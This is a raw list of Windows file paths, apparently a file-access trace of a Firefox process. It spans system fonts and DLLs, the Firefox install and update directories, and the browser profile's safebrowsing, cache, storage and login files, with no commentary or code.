C:\PROGRAM FILES\MOZILLA FIREFOX\GMP-CLEARKEY\0.1\MANIFEST.JSON
C:\WINDOWS\FONTS\CALIBRI.TTF
C:\WINDOWS\FONTS\CALIBRII.TTF
C:\WINDOWS\FONTS\CALIBRIB.TTF
C:\WINDOWS\FONTS\CALIBRIZ.TTF
C:\WINDOWS\FONTS\CAMBRIA.TTC
C:\WINDOWS\FONTS\CAMBRIAI.TTF
C:\WINDOWS\FONTS\CAMBRIAB.TTF
C:\WINDOWS\FONTS\CAMBRIAZ.TTF
C:\WINDOWS\FONTS\CANDARA.TTF
C:\WINDOWS\FONTS\CANDARAI.TTF
C:\WINDOWS\FONTS\CANDARAB.TTF
C:\WINDOWS\FONTS\CANDARAZ.TTF
C:\WINDOWS\FONTS\COMIC.TTF
C:\WINDOWS\FONTS\COMICBD.TTF
C:\WINDOWS\FONTS\CONSOLA.TTF
C:\WINDOWS\FONTS\CONSOLAI.TTF
C:\WINDOWS\FONTS\CONSOLAB.TTF
C:\WINDOWS\FONTS\CONSOLAZ.TTF
C:\WINDOWS\FONTS\CONSTAN.TTF
C:\WINDOWS\FONTS\CONSTANI.TTF
C:\WINDOWS\FONTS\CONSTANB.TTF
C:\WINDOWS\FONTS\CONSTANZ.TTF
C:\WINDOWS\FONTS\CORBEL.TTF
C:\WINDOWS\FONTS\CORBELI.TTF
C:\WINDOWS\FONTS\CORBELB.TTF
C:\WINDOWS\FONTS\CORBELZ.TTF
C:\WINDOWS\FONTS\FRAMD.TTF
C:\WINDOWS\FONTS\FRAMDIT.TTF
C:\PROGRAM FILES\MOZILLA FIREFOX\SOFTOKN3.DLL
C:\WINDOWS\FONTS\GABRIOLA.TTF
C:\WINDOWS\FONTS\GEORGIA.TTF
C:\WINDOWS\SYSTEM32\WININET.DLL
C:\WINDOWS\FONTS\GEORGIAI.TTF
C:\USERS\ADMINI~1\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI~1.DEF\PKCS11.TXT
C:\PROGRAM FILES\MOZILLA FIREFOX\FREEBL3.DLL
C:\WINDOWS\FONTS\GEORGIAB.TTF
C:\WINDOWS\FONTS\GEORGIAZ.TTF
C:\WINDOWS\FONTS\PALA.TTF
C:\WINDOWS\FONTS\PALAI.TTF
C:\WINDOWS\SYSTEM32\RASAPI32.DLL
C:\WINDOWS\SYSTEM32\RASMAN.DLL
C:\WINDOWS\FONTS\PALAB.TTF
C:\WINDOWS\SYSTEM32\RTUTILS.DLL
C:\USERS\ADMINI~1\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI~1.DEF\KEY4.DB
C:\WINDOWS\FONTS\PALABI.TTF
C:\WINDOWS\SYSTEM32\SENSAPI.DLL
C:\WINDOWS\FONTS\SEGOEPR.TTF
C:\WINDOWS\SYSTEM32\EN-US\WININET.DLL.MUI
C:\WINDOWS\FONTS\SEGOEPRB.TTF
C:\WINDOWS\FONTS\TREBUC.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SITESECURITYSERVICESTATE.TXT
C:\PROGRA~1\MOZILL~1\NSSCKBI.DLL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SECURITY_STATE
C:\WINDOWS\FONTS\TREBUCIT.TTF
C:\WINDOWS\FONTS\TREBUCBD.TTF
C:\WINDOWS\FONTS\TREBUCBI.TTF
C:\WINDOWS\FONTS\VERDANAI.TTF
C:\WINDOWS\FONTS\VERDANAZ.TTF
C:\WINDOWS\FONTS\WEBDINGS.TTF
C:\WINDOWS\FONTS\COURE.FON
C:\WINDOWS\FONTS\SERIFE.FON
C:\WINDOWS\FONTS\SMALLE.FON
C:\WINDOWS\FONTS\SMALLF.FON
C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\EQUATION\MTEXTRA.TTF
C:\WINDOWS\FONTS\ARIALUNI.TTF
C:\WINDOWS\FONTS\CENTURY.TTF
C:\WINDOWS\FONTS\WINGDNG2.TTF
C:\WINDOWS\FONTS\WINGDNG3.TTF
C:\WINDOWS\FONTS\ALGER.TTF
C:\WINDOWS\FONTS\BASKVILL.TTF
C:\WINDOWS\FONTS\BAUHS93.TTF
C:\WINDOWS\FONTS\BELL.TTF
C:\WINDOWS\FONTS\BRLNSB.TTF
C:\WINDOWS\FONTS\BERNHC.TTF
C:\WINDOWS\FONTS\BOD_PSTC.TTF
C:\WINDOWS\FONTS\BRITANIC.TTF
C:\WINDOWS\FONTS\BROADW.TTF
C:\WINDOWS\FONTS\BRUSHSCI.TTF
C:\WINDOWS\FONTS\CALIFR.TTF
C:\WINDOWS\FONTS\CENTAUR.TTF
C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\UPDATE.TEST
C:\WINDOWS\FONTS\GOTHIC.TTF
C:\WINDOWS\FONTS\CHILLER.TTF
C:\WINDOWS\FONTS\COLONNA.TTF
C:\WINDOWS\FONTS\COOPBL.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\GOOGLE4
C:\WINDOWS\FONTS\FTLTLT.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ADS-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ALLOW-FLASHALLOW-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ANALYTICS-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BASE-CRYPTOMINING-TRACK-DIGEST256.VLPSET
C:\WINDOWS\FONTS\FREESCPT.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BASE-FINGERPRINTING-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BLOCK-FLASH-DIGEST256.VLPSET
C:\WINDOWS\FONTS\HARLOWSI.TTF
C:\WINDOWS\FONTS\HARNGTON.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BLOCK-FLASHSUBDOC-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PREFS-1.JS
C:\WINDOWS\FONTS\HTOWERT.TTF
C:\WINDOWS\FONTS\JOKERMAN.TTF
C:\WINDOWS\FONTS\JUICE___.TTF
C:\WINDOWS\FONTS\ITCKRIST.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\CONTENT-TRACK-DIGEST256.VLPSET
C:\WINDOWS\FONTS\KUNSTLER.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASH-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASHALLOW-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASHSUBDOC-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\GOOGLE-TRACKWHITE-DIGEST256.VLPSET
C:\WINDOWS\FONTS\LBRITE.TTF
C:\WINDOWS\FONTS\LCALLIG.TTF
C:\WINDOWS\FONTS\LFAX.TTF
C:\WINDOWS\FONTS\LHANDW.TTF
C:\WINDOWS\FONTS\MAGNETOB.TTF
C:\WINDOWS\FONTS\MATURASC.TTF
C:\WINDOWS\FONTS\MISTRAL.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\98E7F8D76509844398CCF67AC5DFA26D4F5053E5
C:\WINDOWS\FONTS\MOD20.TTF
C:\WINDOWS\FONTS\MTCORSVA.TTF
C:\WINDOWS\FONTS\NIAGENG.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\MOZPLUGIN-BLOCK-DIGEST256.VLPSET
C:\WINDOWS\FONTS\NIAGSOL.TTF
C:\WINDOWS\SYSTEM32\EN-US\NTDLL.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\ADVAPI32.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\SECHOST.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\RPCRT4.DLL.MUI
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\MOZSTD-TRACKWHITE-DIGEST256.VLPSET
C:\WINDOWS\FONTS\OLDENGL.TTF
C:\WINDOWS\FONTS\ONYX.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-FACEBOOK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-LINKEDIN-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-TWITTER-DIGEST256.VLPSET
C:\WINDOWS\FONTS\PARCHM.TTF
C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\UPDATE-CONFIG.JSON
C:\WINDOWS\FONTS\PLAYBILL.TTF
C:\WINDOWS\FONTS\POORICH.TTF
C:\WINDOWS\FONTS\RAVIE.TTF
C:\WINDOWS\SYSTEM32\DUSER.DLL
C:\WINDOWS\SYSTEM32\DUI70.DLL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\1451318868NTOUROMLALNODRY--EPCR.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\1451318868NTOUROMLALNODRY--EPCR.SQLITE-SHM
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\1657114595AMCATEIRVTISTY.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\1657114595AMCATEIRVTISTY.SQLITE-SHM
C:\WINDOWS\FONTS\INFROMAN.TTF
C:\WINDOWS\FONTS\SHOWG.TTF
C:\WINDOWS\SYSTEM32\EN-US\APPHELP.DLL.MUI
C:\WINDOWS\FONTS\SNAP____.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ADS-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ALLOW-FLASHALLOW-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\ANALYTICS-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BASE-CRYPTOMINING-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BASE-FINGERPRINTING-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BLOCK-FLASH-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\BLOCK-FLASHSUBDOC-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\CONTENT-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASH-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASHALLOW-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASHSUBDOC-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\GOOGLE-TRACKWHITE-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\MOZPLUGIN-BLOCK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\MOZSTD-TRACKWHITE-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-FACEBOOK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-LINKEDIN-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-TWITTER-DIGEST256.SBSTORE
C:\WINDOWS\FONTS\STENCIL.TTF
C:\WINDOWS\FONTS\TEMPSITC.TTF
C:\WINDOWS\FONTS\VINERITC.TTF
C:\WINDOWS\FONTS\VIVALDII.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\EXTENSIONS.JSON
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CONTAINERS.JSON
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\WEBAPPSSTORE.SQLITE-WAL
C:\WINDOWS\FONTS\VLADIMIR.TTF
C:\WINDOWS\FONTS\LATINWD.TTF
C:\WINDOWS\FONTS\TCM_____.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\WEBAPPSSTORE.SQLITE-SHM
C:\WINDOWS\FONTS\TCCB____.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\LOGINS.JSON
C:\WINDOWS\FONTS\TCCM____.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\STATE.JSON
C:\WINDOWS\FONTS\TCB_____.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\A7D3E927B04F279FECF0D7D678B5C66B6934C817
C:\WINDOWS\FONTS\SCRIPTBL.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\2918063365PIUPSAH.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\INTERNET EXPLORER\QUICK LAUNCH\USER PINNED\TASKBAR\FIREFOX.LNK
C:\WINDOWS\FONTS\ROCKEB.TTF
C:\WINDOWS\FONTS\ROCC____.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\2918063365PIUPSAH.SQLITE-SHM
C:\WINDOWS\SYSTEM32\ACTXPRXY.DLL
C:\WINDOWS\FONTS\ROCK.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SHIELD-PREFERENCE-EXPERIMENTS.JSON
C:\WINDOWS\FONTS\RAGE.TTF
C:\WINDOWS\FONTS\PRISTINA.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PLACES.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PLACES.SQLITE-SHM
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\FAVICONS.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\FAVICONS.SQLITE-SHM
C:\WINDOWS\FONTS\PERTIBD.TTF
C:\WINDOWS\FONTS\PER_____.TTF
C:\USERS\ADMINI~1\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI~1.DEF\CERT9.DB-JOURNAL
C:\WINDOWS\FONTS\PAPYRUS.TTF
C:\WINDOWS\FONTS\PALSCRI.TTF
C:\WINDOWS\FONTS\OCRAEXT.TTF
C:\WINDOWS\SYSTEM32\EN-US\SHLWAPI.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\OLE32.DLL.MUI
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\BOOKMARKBACKUPS
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\3561288849SDHLIE.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\3561288849SDHLIE.SQLITE-SHM
C:\WINDOWS\FONTS\MAIAN.TTF
C:\WINDOWS\FONTS\LTYPE.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\HANDLERS.JSON
C:\WINDOWS\FONTS\LSANS.TTF
C:\WINDOWS\FONTS\IMPRISHA.TTF
C:\WINDOWS\FONTS\HATTEN.TTF
C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\PICTUREINPICTURE@MOZILLA.ORG.XPI
C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\SCREENSHOTS@MOZILLA.ORG.XPI
C:\WINDOWS\FONTS\GOUDYSTO.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\THUMBNAILS\7C27E0A3E1BA29183AF76EA17D293660.PNG
C:\WINDOWS\FONTS\GOUDOS.TTF
C:\WINDOWS\FONTS\GLECB.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\GLEAN\DB\DATA.SAFE.BIN
C:\WINDOWS\FONTS\GILLUBCD.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\GLEAN\EVENTS
C:\WINDOWS\FONTS\GILSANUB.TTF
C:\WINDOWS\FONTS\GILC____.TTF
C:\WINDOWS\SYSTEM32\EN-US\SHELL32.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\USERENV.DLL.MUI
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\2823318777NTOUROMLALNODRY--NAOD.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\2823318777NTOUROMLALNODRY--NAOD.SQLITE-SHM
C:\WINDOWS\FONTS\GIL_____.TTF
C:\WINDOWS\FONTS\GLSNECB.TTF
C:\WINDOWS\FONTS\GIGI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\7AFF5702108D2F969BAE43CE9A522F32390B080E
C:\WINDOWS\FONTS\GARA.TTF
C:\WINDOWS\FONTS\FRSCRIPT.TTF
C:\WINDOWS\FONTS\FRAMDCN.TTF
C:\WINDOWS\FONTS\FRAHV.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\6BD0B01B53784A1D7CCB8868FCC7BF17E8CF5538
C:\WINDOWS\FONTS\FRADMCN.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CONTENT-PREFS.SQLITE
C:\WINDOWS\FONTS\FRADM.TTF
C:\WINDOWS\FONTS\FRABK.TTF
C:\WINDOWS\FONTS\FORTE.TTF
C:\WINDOWS\FONTS\FELIXTI.TTF
C:\WINDOWS\SYSTEM32\EN-US\DWMAPI.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\MPR.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\WINMM.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\WSOCK32.DLL.MUI
C:\WINDOWS\FONTS\ERASMD.TTF
C:\WINDOWS\SYSTEM32\EN-US\WS2_32.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\IPHLPAPI.DLL.MUI
C:\WINDOWS\FONTS\ERASLGHT.TTF
C:\WINDOWS\SYSTEM32\EN-US\DNSAPI.DLL.MUI
C:\WINDOWS\FONTS\ERASDEMI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\13304
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\6333B1A3568302CAE84D5623F53562B48D42F7B9
C:\WINDOWS\FONTS\ERASBD.TTF
C:\WINDOWS\SYSTEM32\EN-US\UXTHEME.DLL.MUI
C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\UPDATES\DOWNLOADING
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\254256B27E0C48CF9B80B695F0B3B8CA84610495
C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\UPDATES\0\UPDATE.STATUS
C:\WINDOWS\FONTS\ENGR.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\ACTIVITY-STREAM.DISCOVERY_STREAM.JSON.TMP
C:\WINDOWS\FONTS\ELEPHNT.TTF
C:\WINDOWS\FONTS\ITCEDSCR.TTF
C:\WINDOWS\FONTS\CURLZ___.TTF
C:\WINDOWS\SYSTEM32\EN-US\DHCPCSVC.DLL.MUI
C:\WINDOWS\SYSTEM32\QMGRPRXY.DLL
C:\WINDOWS\FONTS\COPRGTL.TTF
C:\WINDOWS\SYSTEM32\EN-US\NTMARTA.DLL.MUI
C:\WINDOWS\FONTS\COPRGTB.TTF
C:\WINDOWS\SYSTEM32\EN-US\WLDAP32.DLL.MUI
C:\WINDOWS\FONTS\CENSCBK.TTF
C:\WINDOWS\SYSTEM32\BITSPRX4.DLL
C:\WINDOWS\SYSTEM32\EN-US\DWRITE.DLL.MUI
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SEARCH.JSON.MOZLZ4.TMP
C:\WINDOWS\FONTS\CASTELAR.TTF
C:\WINDOWS\SYSTEM32\EN-US\NETPROFM.DLL.MUI
C:\WINDOWS\FONTS\CALIST.TTF
C:\WINDOWS\SYSTEM32\EN-US\NAPINSP.DLL.MUI
C:\WINDOWS\FONTS\BRADHITC.TTF
C:\WINDOWS\SYSTEM32\EN-US\PNRPNSP.DLL.MUI
C:\WINDOWS\FONTS\BOOKOS.TTF
C:\WINDOWS\SYSTEM32\EN-US\MSWSOCK.DLL.MUI
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\458518A9C24FE4A180B93C3BD9CC6DF9BCD0D8E4
C:\WINDOWS\FONTS\BKANT.TTF
C:\WINDOWS\SYSTEM32\EN-US\DHCPCSVC6.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\MSCMS.DLL.MUI
C:\WINDOWS\FONTS\BOD_CR.TTF
C:\WINDOWS\FONTS\ARIALN.TTF
C:\WINDOWS\FONTS\BOD_BLAR.TTF
C:\WINDOWS\FONTS\ARIALNI.TTF
C:\WINDOWS\SYSTEM32\EN-US\WPC.DLL.MUI
C:\WINDOWS\FONTS\ARIALNB.TTF
C:\WINDOWS\FONTS\BOD_R.TTF
C:\WINDOWS\FONTS\ARIALNBI.TTF
C:\WINDOWS\SYSTEM32\EN-US\WEVTAPI.DLL.MUI
C:\WINDOWS\FONTS\ITCBLKAD.TTF
C:\WINDOWS\FONTS\ARLRDBD.TTF
C:\WINDOWS\SYSTEM32\EN-US\MMDEVAPI.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\AUDIOSES.DLL.MUI
C:\WINDOWS\FONTS\AGENCYB.TTF
